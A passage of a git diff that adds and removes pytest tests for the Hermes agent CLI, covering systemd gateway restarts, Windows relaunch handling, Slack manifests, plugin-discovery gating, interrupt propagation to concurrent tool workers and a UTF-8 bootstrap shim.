+ gateway_cli, + "_recover_pending_systemd_restart", + lambda system=False, previous_pid=None: False, + ) + monkeypatch.setattr( + gateway_cli, + "_systemd_service_is_start_limited", + lambda system=False: False, + ) + + def fake_run_systemctl(args, **kwargs): + # reset-failed is a pre-step (check=False, 30s) — let it pass. + if args and args[0] == "reset-failed": + return SimpleNamespace(returncode=0, stdout="", stderr="") + raise subprocess.TimeoutExpired(args, kwargs.get("timeout")) + + monkeypatch.setattr(gateway_cli, "_run_systemctl", fake_run_systemctl) + + gateway_cli.systemd_restart() + + output = capsys.readouterr().out + assert "still restarting after 90s" in output + assert "hermes gateway status" in output def test_run_gateway_refreshes_outdated_unit_on_boot(self, tmp_path, monkeypatch): """run_gateway() should refresh the systemd unit on boot so that diff --git a/tests/hermes_cli/test_model_provider_persistence.py b/tests/hermes_cli/test_model_provider_persistence.py index 8808e009b4a..20f81d62d8f 100644 --- a/tests/hermes_cli/test_model_provider_persistence.py +++ b/tests/hermes_cli/test_model_provider_persistence.py @@ -286,32 +286,6 @@ class TestProviderPersistsAfterModelSave: assert model.get("default") == "minimax-m2.5" assert model.get("api_mode") == "anthropic_messages" - def test_lmstudio_provider_saved_when_selected(self, config_home, monkeypatch): - from hermes_cli.config import load_config - from hermes_cli.main import _model_flow_api_key_provider - - monkeypatch.setenv("LM_API_KEY", "lm-token") - monkeypatch.setattr( - "hermes_cli.auth._prompt_model_selection", - lambda models, current_model="": "publisher/model-a", - ) - monkeypatch.setattr("hermes_cli.auth.deactivate_provider", lambda: None) - monkeypatch.setattr( - "hermes_cli.models.fetch_lmstudio_models", - lambda api_key=None, base_url=None, timeout=5.0: ["publisher/model-a"], - ) - - with patch("builtins.input", side_effect=[""]): - _model_flow_api_key_provider(load_config(), "lmstudio", "old-model") - - import yaml - - config = yaml.safe_load((config_home / "config.yaml").read_text()) or {} - model = config.get("model") - assert isinstance(model, dict) - assert model.get("provider") == "lmstudio" - assert model.get("base_url") == "http://127.0.0.1:1234/v1" - assert model.get("default") == "publisher/model-a" class TestBaseUrlValidation: @@ -386,32 +360,3 @@ class TestBaseUrlValidation: saved = get_env_value("GLM_BASE_URL") or "" assert saved == "", "Empty input should not save a base URL" - def test_stepfun_provider_saved_with_selected_region(self, config_home, monkeypatch): - from hermes_cli.main import _model_flow_stepfun - from hermes_cli.config import load_config, get_env_value - - monkeypatch.setenv("STEPFUN_API_KEY", "stepfun-test-key") - - with patch( - "hermes_cli.main._prompt_provider_choice", - return_value=1, - ), patch( - "hermes_cli.models.fetch_api_models", - return_value=["step-3.5-flash", "step-3-agent-lite"], - ), patch( - "hermes_cli.auth._prompt_model_selection", - return_value="step-3-agent-lite", - ), patch( - "hermes_cli.auth.deactivate_provider", - ): - _model_flow_stepfun(load_config(), "old-model") - - import yaml - - config = yaml.safe_load((config_home / "config.yaml").read_text()) or {} - model = config.get("model") - assert isinstance(model, dict) - assert model.get("provider") == "stepfun" - assert model.get("default") == "step-3-agent-lite" - assert model.get("base_url") == "https://api.stepfun.com/step_plan/v1" - assert get_env_value("STEPFUN_BASE_URL") == "https://api.stepfun.com/step_plan/v1" diff --git a/tests/hermes_cli/test_model_validation.py b/tests/hermes_cli/test_model_validation.py index c81cae4601b..03c0fcca3d4 100644 --- a/tests/hermes_cli/test_model_validation.py +++ b/tests/hermes_cli/test_model_validation.py @@ -770,15 +770,6 @@ class TestValidateCodexAutoCorrection: assert result.get("corrected_model") is None assert result["message"] is None - def test_very_different_name_falls_to_suggestions(self): - """Names too different for auto-correction are rejected with a suggestion list.""" - codex_models = ["gpt-5.4-mini", "gpt-5.4", "gpt-5.3-codex"] - with patch("hermes_cli.models.provider_model_ids", return_value=codex_models): - result = validate_requested_model("totally-wrong", "openai-codex") - assert result["accepted"] is False - assert result["recognized"] is False - assert result.get("corrected_model") is None - assert "not found" in result["message"] # -- probe_api_models — Cloudflare UA mitigation -------------------------------- diff --git a/tests/hermes_cli/test_relaunch.py b/tests/hermes_cli/test_relaunch.py index 33b3ffb4b38..1b4f4ff1547 100644 --- a/tests/hermes_cli/test_relaunch.py +++ b/tests/hermes_cli/test_relaunch.py @@ -152,4 +152,135 @@ class TestRelaunch: with pytest.raises(SystemExit): relaunch_mod.relaunch(["--resume", "abc"]) - assert calls == [("/usr/bin/hermes", ["/usr/bin/hermes", "--resume", "abc"])] \ No newline at end of file + assert calls == [("/usr/bin/hermes", ["/usr/bin/hermes", "--resume", "abc"])] + + def test_windows_uses_subprocess_not_execvp(self, monkeypatch): + """On Windows, os.execvp raises OSError "Exec format error" when the + target is a .cmd shim or console-script wrapper (both common for + hermes). relaunch() must detect win32 and use subprocess.run + + sys.exit instead.""" + monkeypatch.setattr(relaunch_mod.sys, "platform", "win32") + monkeypatch.setattr(relaunch_mod, "resolve_hermes_bin", lambda: r"C:\Users\test\hermes.exe") + + import subprocess as _subprocess + + captured_argv = [] + + def fake_subprocess_run(argv, **kwargs): + captured_argv.append(list(argv)) + class _Result: + returncode = 0 + return _Result() + + monkeypatch.setattr(_subprocess, "run", fake_subprocess_run) + + # execvp MUST NOT be called on Windows — route must go through subprocess + execvp_calls = [] + + def fake_execvp(*args, **kwargs): + execvp_calls.append(args) + raise AssertionError("os.execvp must not be called on Windows") + + monkeypatch.setattr(relaunch_mod.os, "execvp", fake_execvp) + + with pytest.raises(SystemExit) as exc_info: + relaunch_mod.relaunch(["chat"]) + + assert exc_info.value.code == 0 + assert execvp_calls == [] + assert captured_argv == [[r"C:\Users\test\hermes.exe", "chat"]] + + def test_windows_propagates_child_exit_code(self, monkeypatch): + """A non-zero exit from the child should flow through to sys.exit.""" + monkeypatch.setattr(relaunch_mod.sys, "platform", "win32") + monkeypatch.setattr(relaunch_mod, "resolve_hermes_bin", lambda: r"C:\hermes.exe") + + import subprocess as _subprocess + + def fake_run(argv, **kwargs): + class _Result: + returncode = 42 + return _Result() + + monkeypatch.setattr(_subprocess, "run", fake_run) + monkeypatch.setattr(relaunch_mod.os, "execvp", lambda *a, **kw: None) + + with pytest.raises(SystemExit) as exc_info: + relaunch_mod.relaunch(["chat"]) + assert exc_info.value.code == 42 + + def test_windows_surfaces_oserror_with_help(self, monkeypatch, capsys): + """When subprocess itself raises OSError (file-not-found / bad format), + we must NOT let it bubble up as a cryptic traceback — print a + user-readable hint and sys.exit(1).""" + monkeypatch.setattr(relaunch_mod.sys, "platform", "win32") + monkeypatch.setattr(relaunch_mod, "resolve_hermes_bin", lambda: r"C:\missing.exe") + + import subprocess as _subprocess + + def fake_run(argv, **kwargs): + raise OSError(2, "No such file or directory") + + monkeypatch.setattr(_subprocess, "run", fake_run) + monkeypatch.setattr(relaunch_mod.os, "execvp", lambda *a, **kw: None) + + with pytest.raises(SystemExit) as exc_info: + relaunch_mod.relaunch(["chat"]) + assert exc_info.value.code == 1 + err = capsys.readouterr().err + assert "relaunch failed" in err + assert "open a new terminal" in err.lower() or "path" in err.lower() + + +class TestResolveHermesBinWindowsPyGuard: + """On Windows, resolve_hermes_bin MUST NOT return a .py path. + os.access(x, os.X_OK) returns True for .py files on Windows because + PATHEXT includes .py when the Python launcher is installed — but + subprocess.run can't actually exec a .py directly, so the relaunch + would fail with the cryptic "%1 is not a valid Win32 application" error. + """ + + def test_windows_rejects_py_argv0_falls_through_to_path(self, monkeypatch, tmp_path): + """On Windows, if sys.argv[0] is a .py file, we must skip the + argv[0] fast-path and fall through to PATH / python -m.""" + # Build a fake .py script that "passes" the isfile + X_OK checks. + script = tmp_path / "main.py" + script.write_text("# stub") + + monkeypatch.setattr(relaunch_mod.sys, "platform", "win32") + monkeypatch.setattr(relaunch_mod.sys, "argv", [str(script), "chat"]) + # Force PATH lookup to return a hermes.exe so the test doesn't + # exercise the None-fallback path (that's a separate test). + monkeypatch.setattr( + relaunch_mod.shutil, "which", + lambda name: r"C:\venv\Scripts\hermes.exe" if name == "hermes" else None, + ) + + bin_path = relaunch_mod.resolve_hermes_bin() + # Must NOT be the .py — must be the hermes.exe PATH entry. + assert bin_path == r"C:\venv\Scripts\hermes.exe" + + def test_posix_still_accepts_py_argv0(self, monkeypatch, tmp_path): + """POSIX behaviour unchanged: argv[0] pointing at an executable + script (including .py with a shebang + chmod +x) is fine to return + because POSIX exec can route through the shebang line.""" + if sys.platform == "win32": + pytest.skip("POSIX semantics") + script = tmp_path / "hermes" + script.write_text("#!/usr/bin/env python3\n") + script.chmod(0o755) + monkeypatch.setattr(relaunch_mod.sys, "argv", [str(script), "chat"]) + assert relaunch_mod.resolve_hermes_bin() == str(script) + + def test_windows_py_argv0_with_no_hermes_on_path_returns_none(self, monkeypatch, tmp_path): + """Bulletproof fallback: if argv0 is .py on Windows AND hermes.exe + isn't on PATH, return None so the caller falls back to + python -m hermes_cli.main.""" + script = tmp_path / "main.py" + script.write_text("# stub") + + monkeypatch.setattr(relaunch_mod.sys, "platform", "win32") + monkeypatch.setattr(relaunch_mod.sys, "argv", [str(script), "chat"]) + monkeypatch.setattr(relaunch_mod.shutil, "which", lambda name: None) + + assert relaunch_mod.resolve_hermes_bin() is None diff --git a/tests/hermes_cli/test_slack_cli.py b/tests/hermes_cli/test_slack_cli.py new file mode 100644 index 00000000000..8ccdb7119c0 --- /dev/null +++ b/tests/hermes_cli/test_slack_cli.py @@ -0,0 +1,30 @@ +"""Tests for Slack CLI helpers.""" + +from hermes_cli.slack_cli import _build_full_manifest + + +class TestSlackFullManifest: + """Generated full Slack app manifest used by `hermes slack manifest`.""" + + def test_app_home_messages_are_writable(self): + manifest = _build_full_manifest("Hermes", "Your Hermes agent on Slack") + + assert manifest["features"]["app_home"] == { + "home_tab_enabled": False, + "messages_tab_enabled": True, + "messages_tab_read_only_enabled": False, + } + + def test_private_channel_directory_scope_is_included(self): + manifest = _build_full_manifest("Hermes", "Your Hermes agent on Slack") + + bot_scopes = manifest["oauth_config"]["scopes"]["bot"] + assert "groups:read" in bot_scopes + + def test_assistant_features_remain_enabled(self): + manifest = _build_full_manifest("Hermes", "Your Hermes agent on Slack") + + assert "assistant_view" in manifest["features"] + assert "assistant:write" in manifest["oauth_config"]["scopes"]["bot"] + bot_events = manifest["settings"]["event_subscriptions"]["bot_events"] + assert "assistant_thread_started" in bot_events diff --git a/tests/hermes_cli/test_startup_plugin_gating.py b/tests/hermes_cli/test_startup_plugin_gating.py new file mode 100644 index 00000000000..6028b3ea2d1 --- /dev/null +++ b/tests/hermes_cli/test_startup_plugin_gating.py @@ -0,0 +1,180 @@ +"""Guards for CLI startup performance regression. + +``hermes_cli.main`` skips eager plugin discovery at argparse-setup time +when the invocation is clearly targeting a known built-in subcommand. +This saves 500-650ms on ``hermes --help``, ``hermes version``, +``hermes logs``, etc., by not importing ``google.cloud.pubsub_v1``, +``aiohttp``, ``grpc``, and friends. + +Two invariants: + +1. ``_BUILTIN_SUBCOMMANDS`` must contain every subcommand that is actually + registered by ``main()``. If an entry is missing, plugin discovery + runs unnecessarily for that command (correctness-safe, just slow). + If an entry is PRESENT but the subcommand doesn't exist, a plugin + could shadow the name — also bad. + +2. ``_plugin_cli_discovery_needed()`` returns the right answer for the + flag/positional parsing cases it's meant to handle. +""" + +from __future__ import annotations + +import io +import re +import sys +from contextlib import redirect_stdout +from unittest.mock import patch + +import pytest + +from hermes_cli.main import ( + _BUILTIN_SUBCOMMANDS, + _first_positional_argv, + _plugin_cli_discovery_needed, +) + + +# ── helper: grab the live set of top-level subcommands from argparse ─────── + + +def _live_subcommand_names() -> set[str]: + """Run ``hermes --help`` in-process and parse the subcommand block. + + We patch ``_plugin_cli_discovery_needed`` to always return False so + plugin-registered commands aren't included — we're validating the + built-in-only set. + """ + from hermes_cli import main as _main + + argv_backup = sys.argv[:] + sys.argv = ["hermes", "--help"] + buf = io.StringIO() + try: + with patch.object(_main, "_plugin_cli_discovery_needed", return_value=False): + with redirect_stdout(buf): + with pytest.raises(SystemExit): + _main.main() + finally: + sys.argv = argv_backup + + text = buf.getvalue() + # argparse prints "{chat,model,...}" somewhere in the help output + m = re.search(r"\{([a-zA-Z0-9_,\-]+)\}", text) + assert m, f"Could not find subcommand group in --help output:\n{text[:500]}" + return set(m.group(1).split(",")) + + +# ── _first_positional_argv ───────────────────────────────────────────────── + + +@pytest.mark.parametrize( + "argv,expected", + [ + (["hermes"], None), + (["hermes", "--help"], None), + (["hermes", "-h"], None), + (["hermes", "--version"], None), + (["hermes", "-w"], None), + # -p / --profile is stripped from sys.argv by + # _apply_profile_override() at import time, so it never reaches + # _first_positional_argv. We test with just -w / --tui here. + (["hermes", "-w", "--tui"], None), + (["hermes", "version"], "version"), + (["hermes", "--tui", "chat"], "chat"), + (["hermes", "-w", "logs"], "logs"), + (["hermes", "chat", "hello world"], "chat"), + (["hermes", "gateway", "run"], "gateway"), + # Top-level value-taking flags: the value should be skipped. + (["hermes", "-m", "gpt5", "chat"], "chat"), + (["hermes", "--model", "gpt5", "chat", "hi"], "chat"), + (["hermes", "-m", "gpt5", "--provider", "openai", "chat"], "chat"), + (["hermes", "-z", "hello world"], None), + (["hermes", "-z", "hello", "chat"], "chat"), + (["hermes", "--model=gpt5", "chat"], "chat"), # inline form + (["hermes", "--", "chat"], "chat"), # -- terminator + (["hermes", "-w", "--"], None), + # Unknown positional after skipped flags → plugin-cmd candidate. + (["hermes", "some-plugin-cmd"], "some-plugin-cmd"), + (["hermes", "-m", "gpt5", "some-plugin-cmd"], "some-plugin-cmd"), + ], +) +def test_first_positional_argv(argv, expected): + with patch.object(sys, "argv", argv): + assert _first_positional_argv() == expected + + +# ── _plugin_cli_discovery_needed ─────────────────────────────────────────── + + +@pytest.mark.parametrize( + "argv", + [ + ["hermes"], # bare → chat + ["hermes", "--help"], # top-level help + ["hermes", "-h"], + ["hermes", "version"], # known built-in + ["hermes", "logs"], + ["hermes", "gateway", "run"], + ["hermes", "--tui"], + ["hermes", "-w", "--tui"], + ["hermes", "chat", "hi"], + ["hermes", "help"], # accepted built-in-ish + ["hermes", "-m", "gpt5", "chat"], # flag-value-skipping + ], +) +def test_discovery_skipped_for_builtins(argv): + with patch.object(sys, "argv", argv): + assert _plugin_cli_discovery_needed() is False + + +@pytest.mark.parametrize( + "argv", + [ + ["hermes", "meet", "join"], # potential google_meet plugin + ["hermes", "honcho", "status"], # potential memory plugin + ["hermes", "unknown-subcmd"], + ], +) +def test_discovery_runs_for_unknown_positional(argv): + with patch.object(sys, "argv", argv): + assert _plugin_cli_discovery_needed() is True + + +# ── _BUILTIN_SUBCOMMANDS ↔ argparse registration parity ──────────────────── + + +def test_builtin_set_covers_every_registered_subcommand(): + """Every subcommand registered in main() must appear in the set. + + Missing entries cause a slow-path regression (correctness stays + fine — discovery just runs unnecessarily). + """ + live = _live_subcommand_names() + # "help" is synthetic — an argparse-implicit convenience we include + # in the set so ``hermes help `` skips discovery; it won't show + # up as a subparser in the --help output. + declared = _BUILTIN_SUBCOMMANDS - {"help"} + missing_from_declaration = live - declared + assert not missing_from_declaration, ( + f"_BUILTIN_SUBCOMMANDS is missing these live subcommands: " + f"{sorted(missing_from_declaration)}. Add them to " + f"hermes_cli/main.py::_BUILTIN_SUBCOMMANDS so plugin discovery " + f"can be skipped when the user targets them." + ) + + +def test_builtin_set_has_no_phantom_entries(): + """No entry in the set should refer to a subcommand that no longer exists. + + A phantom entry means plugin discovery gets incorrectly skipped for + a name that — if a plugin actually registered it — would fail to + parse. Keeps the set honest. + """ + live = _live_subcommand_names() + allowed_synthetic = {"help"} + phantom = _BUILTIN_SUBCOMMANDS - live - allowed_synthetic + assert not phantom, ( + f"_BUILTIN_SUBCOMMANDS has entries that are not registered as " + f"top-level subparsers: {sorted(phantom)}" + ) diff --git a/tests/hermes_cli/test_update_gateway_restart.py b/tests/hermes_cli/test_update_gateway_restart.py index dca69abe3fd..5493acb52c0 100644 --- a/tests/hermes_cli/test_update_gateway_restart.py +++ b/tests/hermes_cli/test_update_gateway_restart.py @@ -653,6 +653,77 @@ class TestCmdUpdateLaunchdRestart: "Drain path failed; expected fallback `systemctl restart`." ) + @patch("shutil.which", return_value=None) + @patch("subprocess.run") + def test_update_bypasses_restartsec_after_graceful_drain( + self, mock_run, _mock_which, mock_args, capsys, monkeypatch, + ): + """After a graceful SIGUSR1 drain, cmd_update must issue + ``reset-failed`` + ``start`` to bypass the unit's ``RestartSec`` + cooldown (default 60s on our unit file) rather than passively + waiting for systemd's auto-restart. Collapses the post-drain delay + from ~60s to ~5s on a voluntary restart. + """ + monkeypatch.setattr(gateway_cli, "is_macos", lambda: False) + monkeypatch.setattr(gateway_cli, "supports_systemd_services", lambda: True) + monkeypatch.setattr(gateway_cli, "is_termux", lambda: False) + + def side_effect(cmd, **kwargs): + joined = " ".join(str(c) for c in cmd) + if "rev-parse" in joined and "--abbrev-ref" in joined: + return subprocess.CompletedProcess(cmd, 0, stdout="main\n", stderr="") + if "rev-parse" in joined and "--verify" in joined: + return subprocess.CompletedProcess(cmd, 0, stdout="", stderr="") + if "rev-list" in joined: + return subprocess.CompletedProcess(cmd, 0, stdout="3\n", stderr="") + if "systemctl" in joined and "list-units" in joined: + if "--user" in joined: + return subprocess.CompletedProcess( + cmd, 0, + stdout="hermes-gateway.service loaded active running\n", + stderr="", + ) + return subprocess.CompletedProcess(cmd, 0, stdout="", stderr="") + if "systemctl" in joined and "is-active" in joined: + return subprocess.CompletedProcess(cmd, 0, stdout="active\n", stderr="") + if "systemctl" in joined and "show" in joined and "MainPID" in joined: + return subprocess.CompletedProcess(cmd, 0, stdout="4242\n", stderr="") + return subprocess.CompletedProcess(cmd, 0, stdout="", stderr="") + + mock_run.side_effect = side_effect + + # Simulate a successful graceful drain so cmd_update reaches the + # post-drain restart bypass. + monkeypatch.setattr( + "hermes_cli.gateway._graceful_restart_via_sigusr1", + lambda pid, drain_timeout: True, + ) + + with patch.object(gateway_cli, "find_gateway_pids", return_value=[]): + cmd_update(mock_args) + + calls = [ + " ".join(str(a) for a in c.args[0]) + for c in mock_run.call_args_list + if "systemctl" in " ".join(str(a) for a in c.args[0]) + ] + + # Must have called ``reset-failed hermes-gateway`` AND ``start + # hermes-gateway`` explicitly so systemd bypasses RestartSec. + reset_calls = [c for c in calls if "reset-failed" in c and "hermes-gateway" in c] + start_calls = [ + c for c in calls + if "start" in c and "hermes-gateway" in c and "restart" not in c + ] + assert reset_calls, ( + f"Expected explicit `reset-failed hermes-gateway` after graceful drain; " + f"systemctl calls were: {calls}" + ) + assert start_calls, ( + f"Expected explicit `start hermes-gateway` after graceful drain to " + f"bypass RestartSec; systemctl calls were: {calls}" + ) + @patch("shutil.which", return_value=None) @patch("subprocess.run") def test_update_no_gateway_running_skips_restart( diff --git a/tests/hermes_cli/test_update_yes_flag.py b/tests/hermes_cli/test_update_yes_flag.py index 66060b10aa8..699d57a9716 100644 --- a/tests/hermes_cli/test_update_yes_flag.py +++ b/tests/hermes_cli/test_update_yes_flag.py @@ -135,49 +135,3 @@ class TestUpdateYesConfigMigration: class TestUpdateYesStashRestore: """--yes auto-restores the pre-update autostash without prompting.""" - @patch("hermes_cli.main._restore_stashed_changes") - @patch( - "hermes_cli.main._stash_local_changes_if_needed", - return_value="stash@{0}", - ) - @patch("hermes_cli.config.check_config_version", return_value=(1, 1)) - @patch("hermes_cli.config.get_missing_config_fields", return_value=[]) - @patch("hermes_cli.config.get_missing_env_vars", return_value=[]) - @patch("shutil.which", return_value=None) - @patch("subprocess.run") - def test_yes_restores_stash_without_prompting( - self, - mock_run, - _mock_which, - _mock_missing_env, - _mock_missing_cfg, - _mock_version, - _mock_stash, - mock_restore, - capsys, - ): - # Not on main → cmd_update switches to main → autostash fires. - mock_run.side_effect = _make_run_side_effect( - branch="feature-branch", verify_ok=True, commit_count="1", dirty=True - ) - - args = SimpleNamespace(yes=True) - - # Force a TTY-shaped session so the autostash-restore branch is - # reachable in CI workers regardless of inherited stdio (matches the - # isatty patching strategy in ``test_no_yes_flag_still_prompts_in_tty`` - # — ``patch.object`` on the real streams is robust under xdist). - import sys as _sys - - with patch.object(_sys.stdin, "isatty", return_value=True), patch.object( - _sys.stdout, "isatty", return_value=True - ): - cmd_update(args) - - # _restore_stashed_changes was called, and called with prompt_user=False - # every time (so the user never sees "Restore local changes now?"). - assert mock_restore.called - for call in mock_restore.call_args_list: - assert call.kwargs.get("prompt_user") is False, ( - f"Expected prompt_user=False under --yes, got {call.kwargs}" - ) diff --git a/tests/run_agent/test_concurrent_interrupt.py b/tests/run_agent/test_concurrent_interrupt.py index 9a6ba73e7e4..747ecb7ca2e 100644 --- a/tests/run_agent/test_concurrent_interrupt.py +++ b/tests/run_agent/test_concurrent_interrupt.py @@ -97,45 +97,6 @@ class _FakeAssistantMsg: self.tool_calls = tool_calls -def test_concurrent_interrupt_cancels_pending(monkeypatch): - """When _interrupt_requested is set during concurrent execution, - the wait loop should exit early and cancelled tools get interrupt messages.""" - agent = _make_agent(monkeypatch) - - # Create a tool that blocks until interrupted - barrier = threading.Event() - - original_invoke = agent._invoke_tool - - def slow_tool(name, args, task_id, call_id=None): - if name == "slow_one": - # Block until the test sets the interrupt - barrier.wait(timeout=10) - return '{"slow": true}' - return '{"fast": true}' - - agent._invoke_tool = MagicMock(side_effect=slow_tool) - - tc1 = _FakeToolCall("fast_one", call_id="tc_fast") - tc2 = _FakeToolCall("slow_one", call_id="tc_slow") - msg = _FakeAssistantMsg([tc1, tc2]) - messages = [] - - def _set_interrupt_after_delay(): - time.sleep(0.3) - agent._interrupt_requested = True - barrier.set() # unblock the slow tool - - t = threading.Thread(target=_set_interrupt_after_delay) - t.start() - - agent._execute_tool_calls_concurrent(msg, messages, "test_task") - t.join() - - # Both tools should have results in messages - assert len(messages) == 2 - # The interrupt was detected - assert agent._interrupt_requested is True def test_concurrent_preflight_interrupt_skips_all(monkeypatch): @@ -158,85 +119,6 @@ def test_concurrent_preflight_interrupt_skips_all(monkeypatch): agent._invoke_tool.assert_not_called() -def test_running_concurrent_worker_sees_is_interrupted(monkeypatch): - """Regression guard for the "interrupt-doesn't-reach-hung-tool" class of - bug Physikal reported in April 2026. - - Before this fix, `AIAgent.interrupt()` called `_set_interrupt(True, - _execution_thread_id)` — which only flagged the agent's *main* thread. - Tools running inside `_execute_tool_calls_concurrent` execute on - ThreadPoolExecutor worker threads whose tids are NOT the agent's, so - `is_interrupted()` (which checks the *current* thread's tid) returned - False inside those tools no matter how many times the gateway called - `.interrupt()`. Hung ssh / long curl / big make-build tools would run - to their own timeout. - - This test runs a fake tool in the concurrent path that polls - `is_interrupted()` like a real terminal command does, then calls - `agent.interrupt()` from another thread, and asserts the poll sees True - within one second. - """ - from tools.interrupt import is_interrupted - - agent = _make_agent(monkeypatch) - - # Counter plus observation hooks so we can prove the worker saw the flip. - observed = {"saw_true": False, "poll_count": 0, "worker_tid": None} - worker_started = threading.Event() - - def polling_tool(name, args, task_id, call_id=None, messages=None): - observed["worker_tid"] = threading.current_thread().ident - worker_started.set() - deadline = time.monotonic() + 5.0 - while time.monotonic() < deadline: - observed["poll_count"] += 1 - if is_interrupted(): - observed["saw_true"] = True - return '{"interrupted": true}' - time.sleep(0.05) - return '{"timed_out": true}' - - agent._invoke_tool = MagicMock(side_effect=polling_tool) - - tc1 = _FakeToolCall("hung_fake_tool_1", call_id="tc1") - tc2 = _FakeToolCall("hung_fake_tool_2", call_id="tc2") - msg = _FakeAssistantMsg([tc1, tc2]) - messages = [] - - def _interrupt_after_start(): - # Wait until at least one worker is running so its tid is tracked. - worker_started.wait(timeout=2.0) - time.sleep(0.2) # let the other worker enter too - agent.interrupt("stop requested by test") - - t = threading.Thread(target=_interrupt_after_start) - t.start() - start = time.monotonic() - agent._execute_tool_calls_concurrent(msg, messages, "test_task") - elapsed = time.monotonic() - start - t.join(timeout=2.0) - - # The worker must have actually polled is_interrupted — otherwise the - # test isn't exercising what it claims to. - assert observed["poll_count"] > 0, ( - "polling_tool never ran — test scaffold issue" - ) - # The worker must see the interrupt within ~1 s of agent.interrupt() - # being called. Before the fix this loop ran until its 5 s own-timeout. - assert observed["saw_true"], ( - f"is_interrupted() never returned True inside the concurrent worker " - f"after agent.interrupt() — interrupt-propagation hole regressed. " - f"worker_tid={observed['worker_tid']!r} poll_count={observed['poll_count']}" - ) - assert elapsed < 3.0, ( - f"concurrent execution took {elapsed:.2f}s after interrupt — the fan-out " - f"to worker tids didn't shortcut the tool's poll loop as expected" - ) - # Also verify cleanup: no stale worker tids should remain after all - # tools finished. - assert agent._tool_worker_threads == set(), ( - f"worker tids leaked after run: {agent._tool_worker_threads}" - ) def test_clear_interrupt_clears_worker_tids(monkeypatch): diff --git a/tests/test_hermes_bootstrap.py b/tests/test_hermes_bootstrap.py new file mode 100644 index 00000000000..a044d644abe --- /dev/null +++ b/tests/test_hermes_bootstrap.py @@ -0,0 +1,314 @@ +"""Tests for hermes_bootstrap — Windows UTF-8 stdio shim. + +The bootstrap module is imported at the top of every Hermes entry point +(hermes, hermes-agent, hermes-acp, gateway, batch_runner, cli.py). It +fixes Python's Windows UTF-8 defaults so print("café") doesn't crash and +subprocess children inherit UTF-8 mode. + +Key invariants covered by these tests: + + 1. Windows: env vars get set, stdio reconfigured, non-ASCII print works + 2. POSIX: complete no-op (we don't touch LANG/LC_* or anything else) + 3. Idempotent: safe to call multiple times + 4. Respects user opt-out: if the user explicitly sets PYTHONUTF8=0 or + PYTHONIOENCODING=something-else, we leave those alone + 5. Load order: every Hermes entry point imports hermes_bootstrap as its + first non-docstring import (before anything that might do file I/O + or print to stdout) +""" + +from __future__ import annotations + +import io +import os +import subprocess +import sys +import textwrap +import unittest.mock as mock + +import pytest + + +# Import the module under test via an import-time side-effect check path. +# We need to be able to reset its state between tests, so we import it +# fresh in each test that manipulates _IS_WINDOWS. +def _fresh_import(): + """Return a freshly-imported hermes_bootstrap module. + + Drops any cached copy from sys.modules first so module-level code + runs again and the platform check re-evaluates. + """ + sys.modules.pop("hermes_bootstrap", None) + import hermes_bootstrap # noqa: WPS433 + return hermes_bootstrap + + +class TestWindowsBehavior: + """Windows: the bootstrap does its job.""" + + @pytest.mark.skipif( + sys.platform != "win32", + reason="Windows-specific behavior", + ) + def test_env_vars_set_on_windows(self, monkeypatch): + # Clear any pre-existing values and re-run bootstrap. + monkeypatch.delenv("PYTHONUTF8", raising=False) + monkeypatch.delenv("PYTHONIOENCODING", raising=False) + hb = _fresh_import() + # Module-level apply_windows_utf8_bootstrap() ran during import. + assert os.environ.get("PYTHONUTF8") == "1" + assert os.environ.get("PYTHONIOENCODING") == "utf-8" + assert hb._bootstrap_applied is True + + @pytest.mark.skipif( + sys.platform != "win32", + reason="Windows-specific behavior", + ) + def test_stdout_reconfigured_to_utf8_on_windows(self): + # The live process's stdout should now be UTF-8 (the Hermes CLI + # runs on Windows with a pytest console that's cp1252 by default). + # If reconfigure succeeded, sys.stdout.encoding is 'utf-8'. + _fresh_import() + # pytest may capture stdout, which makes encoding check flaky — + # so instead verify the reconfigure call succeeded on the real + # stream by attempting the failure case. + out = sys.stdout + reconfigure = getattr(out, "reconfigure", None) + if reconfigure is None: + pytest.skip("pytest replaced sys.stdout with a non-reconfigurable stream") + # After bootstrap, encoding should be utf-8 (or the reconfigure + # skipped because pytest's capture already set it to utf-8). + assert out.encoding.lower() in {"utf-8", "utf8"}, ( + f"stdout encoding is {out.encoding!r} — bootstrap should have " + "reconfigured it to UTF-8" + ) + + @pytest.mark.skipif( + sys.platform != "win32", + reason="Windows-specific behavior", + ) + def test_child_process_inherits_utf8_mode(self): + """A subprocess spawned from this process should inherit + PYTHONUTF8=1 and be able to print non-ASCII to stdout.""" + _fresh_import() + # Non-ASCII chars that would crash under cp1252: arrow, emoji. + script = textwrap.dedent(""" + import sys + print("em-dash \\u2014 arrow \\u2192 emoji \\U0001f680") + sys.exit(0) + """).strip() + # Don't pass env= — let the child inherit os.environ, which + # now contains PYTHONUTF8=1 courtesy of the bootstrap. + result = subprocess.run( + [sys.executable, "-c", script], + capture_output=True, + timeout=15, + ) + assert result.returncode == 0, ( + f"Child crashed printing non-ASCII despite UTF-8 bootstrap:\n" + f" stdout: {result.stdout!r}\n" + f" stderr: {result.stderr!r}" + ) + decoded = result.stdout.decode("utf-8") + assert "\u2014" in decoded + assert "\u2192" in decoded + assert "\U0001f680" in decoded + + +class TestUserOptOut: + """If the user has explicitly set PYTHONUTF8 / PYTHONIOENCODING in + their environment, we respect that (setdefault, not overwrite).""" + + @pytest.mark.skipif( + sys.platform != "win32", + reason="Only meaningful on Windows where we'd otherwise set these", + ) + def test_user_pythonutf8_zero_preserved(self, monkeypatch): + monkeypatch.setenv("PYTHONUTF8", "0") + _fresh_import() + assert os.environ["PYTHONUTF8"] == "0", ( + "bootstrap must not overwrite an explicit user setting" + ) + + @pytest.mark.skipif( + sys.platform != "win32", + reason="Only meaningful on Windows where we'd otherwise set these", + ) + def test_user_pythonioencoding_preserved(self, monkeypatch): + monkeypatch.setenv("PYTHONIOENCODING", "latin-1") + _fresh_import() + assert os.environ["PYTHONIOENCODING"] == "latin-1" + + +class TestPosixNoOp: + """POSIX: zero behavior change. We don't touch LANG, LC_*, or any + stdio. The goal is that Linux/macOS behave identically before and + after this module is imported.""" + + def test_noop_on_fake_posix(self, monkeypatch): + """Even when imported, the bootstrap function must return False + and leave env untouched when _IS_WINDOWS is False.""" + hb = _fresh_import() + # Reset + fake POSIX + hb._IS_WINDOWS = False + hb._bootstrap_applied = False + monkeypatch.delenv("PYTHONUTF8", raising=False) + monkeypatch.delenv("PYTHONIOENCODING", raising=False) + + result = hb.apply_windows_utf8_bootstrap() + + assert result is False + assert "PYTHONUTF8" not in os.environ + assert "PYTHONIOENCODING" not in os.environ + assert hb._bootstrap_applied is False + + @pytest.mark.skipif( + sys.platform == "win32", + 